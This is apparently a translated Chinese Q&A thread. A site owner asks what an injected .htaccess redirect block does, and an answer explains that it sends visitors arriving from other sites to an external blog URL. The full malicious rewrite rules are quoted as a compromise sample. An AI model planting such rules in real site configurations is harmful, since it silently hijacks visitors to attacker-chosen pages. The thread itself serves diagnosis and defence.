我在 .htaccess
中找到了以下代码# Begin redirect block #
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://kasiacleaningservice.com/blog/?p=5510&comment=552792 [L,R]
</IfModule>
# End redirect block #
此外,我尝试导航到Google上方的网址,怀疑它包含恶意软件。上面的代码是做什么的?
答案 0 :(得分:2)
服务器上的某些攻击可能会将该块放在您的htaccess文件中。我认为http://kasiacleaningservice.com
网站不是你的。 %{HTTP_REFERER}
var是请求的“Referer”标头。它是请求的URI来自(或“被引用”)的URL。 %{HTTP_HOST}
var是“主机”标头。第一个条件:
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
只是创建主机名的捕获组,没有任何子域或“www”。第二个条件:
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
反向引用第一个捕获组(通过%1
)并将其与“Host”标头值进行比较。从本质上讲,它确保引用中的主机是所请求的URL中的不同的主机。这意味着第一次时间我访问您网站上的任何页面,我立即被重定向到http://kasiacleaningservice.com/blog/?p=5510&comment=552792
。但是,如果我已经在您的网站上,我可以在没有任何重定向的情况下导航它。